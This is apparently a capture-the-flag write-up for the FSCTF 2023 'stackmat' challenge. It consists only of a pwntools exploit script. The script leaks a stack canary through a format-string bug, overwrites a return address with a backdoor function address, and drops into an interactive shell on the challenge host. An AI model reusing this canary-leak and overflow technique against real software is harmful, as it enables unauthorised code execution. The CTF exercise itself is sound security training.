[FSCTF 2023]stackmat imLZH1的WriteUp


from pwn import *
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote()
    else:
        return process([binary] + argv, *a, **kw)

gdbscript = '''
continue
'''.format(**locals())

binary = './pwn'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)

io = start(binary)
io = remote('node4.anna.nssctf.cn',28203)

bd = 0x0401240

ru('can')
#gdb.attach(io)

sl('%11$p')
ru('know\n')
x = int(io.recvline(),16)
pay = p64(x) * 7
pay += p64(bd)
sl(pay)


io.interactive()